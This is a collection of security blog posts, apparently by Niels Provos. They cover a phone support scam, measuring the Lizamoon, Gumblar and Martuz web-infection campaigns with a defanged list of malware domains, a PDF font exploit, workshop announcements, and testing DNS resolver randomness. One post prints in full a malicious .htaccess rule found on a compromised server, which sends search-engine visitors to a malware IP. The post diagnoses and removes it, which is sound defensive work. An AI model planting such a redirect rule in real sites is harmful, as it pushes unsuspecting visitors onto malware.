Niels Provos

or How I failed to get the whole story

I am lying on the bed with a stomach bug when the phone is ringing. It says 544 Unknown Name. The following is an abbreviated recollection of the phone call.

Woman: Hello. This is a computer support call. Are you the owner of a Windows XP, Windows 7 or Windows 8 computer?

Me: Thanks for calling.

Woman: Are you the owner of a Windows XP, Windows 7 or Windows 8 computer.

Me: Yes, I own the computer I am using.

Woman: Can you look at your keyboard. In the left bottom corner do you have a key that says CTRL.

Me: I turned off the computer. Do you want me to turn it back on.

Woman: Yes, turn the computer back on. Let me know when it is ready.

Me: OK. I pressed the power button. It says it’s booting.

Deliberate pause for dramatic accent. I wait about 30 seconds. During the whole phone call, I managed to turn the computer off at least 5 times.

Me: It says user name now. What shall I do?

Woman: What is your user name and password.

Malware infections such as SQL injection are a well known security problem. Over the past two years we have seen several large-scale infections on the web, e.g. Gumblar.cn and Martuz.cn. Recently, a new SQL injection campaign called Lizamoon has gained a lot of attention. I had expected web sites would become more secure over time and less susceptible to simple security problems, so it is surprising that SQL injection is still a prevalent problem. That let me to wonder: Was Lizamoon as successful as previous infections? In a discussion about this problem, my colleague Panayiotis Mavrommatis suggested that comparing the size of campaigns via search engine result estimates might not be very accurate measurement.

That begs the question of how to assess the impact of infections. While the number of infected URLs is one possible measure, it is skewed by many different factors, e.g. a single vulnerable site contributes a large fraction of the infected URLs and overstates the impact. Instead, counting the number of infected sites might be a better metric. Even so, to judge the relative scale of an infection campaign, it might be helpful to compare it to previous incidents.

Below is a comparison of the Gumblar.cn/, Martuz.cn/ and Lizamoon infections based on Google's Safe Browsing data. The graph shows the number of unique infected sites over a 30 day sliding window.

For this analysis, I counted the sites that had a functioning reference to it, e.g. a script src=. Sites that escaped the script tag rendering it harmless were not counted. For Lizamoon, I aggregated the sites provided by the websense blog into a single measure:

hxxp://lizamoon.com/
hxxp://tadygus.com/
hxxp://alexblane.com/
hxxp://alisa-carter.com/
hxxp://online-stats201.info/
hxxp://stats-master111.info/
hxxp://agasi-story.info/
hxxp://general-st.info/
hxxp://extra-service.info/
hxxp://t6ryt56.info/
hxxp://sol-stats.info/
hxxp://google-stats49.info/
hxxp://google-stats45.info/
hxxp://google-stats50.info/
hxxp://stats-master88.info/
hxxp://eva-marine.info/
hxxp://stats-master99.info/
hxxp://worid-of-books.com/
hxxp://google-server43.info/
hxxp://tzv-stats.info/
hxxp://milapop.com/
hxxp://pop-stats.info/
hxxp://star-stats.info/
hxxp://multi-stats.info/
hxxp://google-stats44.info/
hxxp://books-loader.info/
hxxp://google-stats73.info/
hxxp://google-stats47.info/
hxxp://google-stats50.info/

The graph shows two interesting facts.

• The Lizamoon campaign started around September 2010 and actually peaked in October 2010 with ~5600 infected sites. At the moment, it seems to be undergoing a revival.
• If we compare the number of infected sites, Gumblar.cn/ is still clearly the winner with ~62,000 sites, followed closely by Martuz.cn/.

For future studies of malware infections, I suggest taking the number of infected sites as a more reliable measure than counting the number of infected URLs.

Update 2011-04-04: The blog post incorrectly referred to Gumblar.cn and Martuz.cn/ as SQL injection attacks. These attacks used stolen FTP credentials.

Recently, I had the pleasure of flying from the new terminal at the San Jose Airport. The building is quite nice from the inside and even has some cool futuristic moving statues. With all the good stuff comes also a set of virtual nudity machines at the security screening point. The virtual nudity machines also known as backscatter x-ray screening promise increased privacy since the naked images of passengers are viewed at a remote location and there is no requirement of a physical examination. As the sign states these machines are optional but whoever refuses must subject themselves to a thorough physical pat down. I already had one really bad experience with the virtual nudity machines at another airport - I was told I was not allowed to wear my watch or any necklaces. Well, this time I chose the metal detector and walked through without any further hassles. However, I had the pleasure of watching every single person who was shepherded through the virtual nudity machines being patted down. One woman had her breast touched - perhaps she dared to wear an underwire bra? The next guy got patted down around his legs. His offense was a chap stick hidden in his pocket. What really amused me was the guy after him who was patted down because he had not removed his handkerchief from his pocket. At the end of the day, anyone going through the backscatter x-ray machines got patted down and spent a significantly longer time at the security checkpoint. This seems like an overly expensive experiment that hopefully will be abandoned soon.

Metasploit has a great write up on new vulnerability in PDF. The basic problem is a stack overflow when parsing OpenType fonts. In particular, SING Glyphlet tables contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer. The vulnerable code is using strcat and lacks bounds checking resulting in a stack overflow.

The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version. Each font files has slightly different shell code. It was amusing to see that the attackers after modifying the head and SING tables did not fix up their respective checksums. According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on. Fun Fun. As of now, no patched version is available. The SecBrowsing blog contains instructions with temporary remedies.

The call for papers for the 3rd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '10) Botnets, Spyware, Worms, and More just went out. It will be held on April 27, 2010 in San Jose, CA.

LEET '10 will be co-located with the 7th USENIX Symposium on Networked Systems Design and Implementation (NSDI '10), which will take place April 28–30, 2010.

Important Dates

• Submissions due: Thursday, February 25, 2010, 11:59 p.m. PST
• Notification of acceptance: Wednesday, March 24, 2010
• Final papers due: Monday, April 5, 2010

Workshop Organizers
Program Chair

• Michael Bailey, University of Michigan

Program Committee

• Dan Boneh, Stanford University
• Nick Feamster, Georgia Institute of Technology
• Jaeyeon Jung, Intel Labs, Seattle
• Christian Kreibich, International Computer Science Institute
• Patrick McDaniel, Pennsylvania State University
• Fabian Monrose, University of North Carolina, Chapel Hill
• Jose Nazario, Arbor Networks, Inc.
• Stefan Savage, University of California, San Diego
• Matt Williamson, AVG Technologies
• Yinglian Xie, Microsoft Research
• Vinod Yegneswaran, SRI International

Go submit your work!

The DirectShow vulnerabilities are being exploited all over the place now. Unfortunately, the second vulnerability in DirectShow is still unpatched and exploit sites seem to be jumping on this. There is even some evidence that it's possible to successfully exploit the vulnerability without even using JavaScript. New exploit domains are popping after every day. DirectShow now seems to be what Flash and PDF were earlier in the year.

We recently published an article on web-based malware in ACM's Queue Magazine. It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc. This is the article on which my recent ISSNet talk was based.

The 2nd USENIX LEET workshop is going to take place on April 21st in Boston next week. The workshop program looks really interesting. There are a number of really interesting talks; here are just a few:

• Spamcraft: An Inside Look At Spam Campaign Orchestration
• A Foray into Conficker's Logic and Rendezvous Points
• A View on Current Malware Behaviors

Last year's workshop was a blast and I expect that next week is going to be lots of fun, too. It is still possible to register on-site for the workshop.

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:

curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas

curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.

During my invited talk on web-based malware at USENIX Security, I mentioned SQL Injection as one of the more popular means of compromising web servers. Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google's infrastructure in July 2008; it's over 800,000 URLs. Curiously, most of these were due to the Asprox botnet.

The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites. One way to determine if a site has been injected with malicious content is the Safe Browsing diagnostic page which shows infection domains and also how many sites they compromised. Here is an example of a Chinese SQL injection domain, ko118.cn.

To help web application developers, OWASP has published detailed guidelines on preventing SQL injection attacks. More importantly if your web site was SQL injected, its database needs to be cleaned to remove the injected content.

The CfP for the 2nd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '09): Botnets, Spyware, Worms, and More is up at:

http://www.usenix.org/event/leet09/cfp/.

LEET '09 will be held on April 21, 2009 in Boston, MA immediately before the 6th USENIX Symposium on Networked Systems Design and Implementation (NSDI '09), which will take place April 22–24, 2009.

Important Dates

• Submissions due: January 16, 2009, 11:59 p.m. EST
• Notification of acceptance: March 2, 2009
• Electronic files due: March 30, 2009

This will be the second edition of LEET, which had evolved from the combination of two other successful workshops, the ACM Workshop on Recurring Malcode (WORM) and the USENIX Workshop on Hot Topics in Understanding Botnets (HotBots). These two workshops have each dealt with aspects of this problem. However, while papers relating to both worms and botnets are explicitly solicited, LEET has a broader charter than its predecessors. We encourage submissions of papers that focus on any aspect of the underlying mechanisms used to compromise and control hosts, the large-scale "applications" being perpetrated upon this framework, or the social and economic networks driving these threats.

This week is going to be crazy busy with HotSec and USENIX Security in San Jose. I am chairing the HotSec workshop tomorrow. We were able to get a pretty nice program this year. At USENIX Security, I am going to give two talks. One is in the technical program talking about "All Your iFrames Point to Us" and the other one is an invited talk on web-based malware on Friday. I am still working on the slides.

As everyone was upgrading their DNS infrastructure to be ready for August 7th, some security reseachers independently discovered the DNS flaw and disclosed it. For those of us, who were either informed or had figured out the problem ourselves, it is surprising to find irresponsible and grossly negligent disclosure from respected members of our community. There was a reason that Kaminsky did not disclose the flaw publicly when he found it. The DNS infrastructure needed to be upgraded and repaired.

Well, the time has run out. A current study by David Dagon and myself puts the number of open recursive resolvers using static source ports at about 78%. That is a lot of servers that need to be patched. Two more weeks till August 7th could have helped to fix many of them. Unfortunately, we will not find out now.

As we are all trying to patch and upgrade our resolvers and NAT devices, I created a small image tag that automatically assesses the randomess of a visitor's resolver:

This is still in reference to the CERT Advisory on Multiple DNS implementations vulnerable to cache poisoning. You can place the image tag on your web page to test your visitors:

<center><a href="http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html"><img src="http://porttest.honeyd.org/-s-_dns.png" border=0></a></center>

The a href link can of course point to a more helpful web page and the image itself can also be changed according to need.

If you want to show this on your pages with different images, just let me know.

Over the last few days, we have heard a lot about DNS cache poisoning and how we need to get our recursive resolvers to use random source ports. We are being told that this is a flaw in the protocol, but no details are going to be available until a presentation at Blackhat in August. DNS cache poisoning of course has been around for a long time, most notably when the 16-bit query IDs were not randomized. Here are some good references:

• DNS Cache Poisoning – The Next Generation - Joe Stewart elaborating on observations from Vagner Sacramento in 2002: Bind would issue multiple request with the same query to the same IP; increasing the chance of spoofed DNS packets to guess the right query ID.
• Bind 9 DNS Cache Poisoning by Amit Klein in 2007 requires just 10 guesses to predict the query ID.
• Strange Attractors and TCP/IP Sequence Number Analysis Michal Zalewski in 2001 looked at predicting the 32-bit TCP sequence number across multiple operating systems; a very similar problem to predicting 16-bit source port and 16-bit query ID.

Oarc in the meantime has made a port testing server available. A simple invocation of dig tells you if your recursive resolver is vulnerable:

dig +short porttest.dns-oarc.net TXT

The TXT record assesses a resolver's source port randomness as poor, fair or good. Unfortunately, on my network, I found this record constantly cached from other resolvers, so I wrote a small Python tool that analyzes the randomness of both your source port numbers as a well as your query IDs. The tool can be downloaded from:

• http://www.monkey.org/~provos/dnspredict.py

Its usage is pretty simple: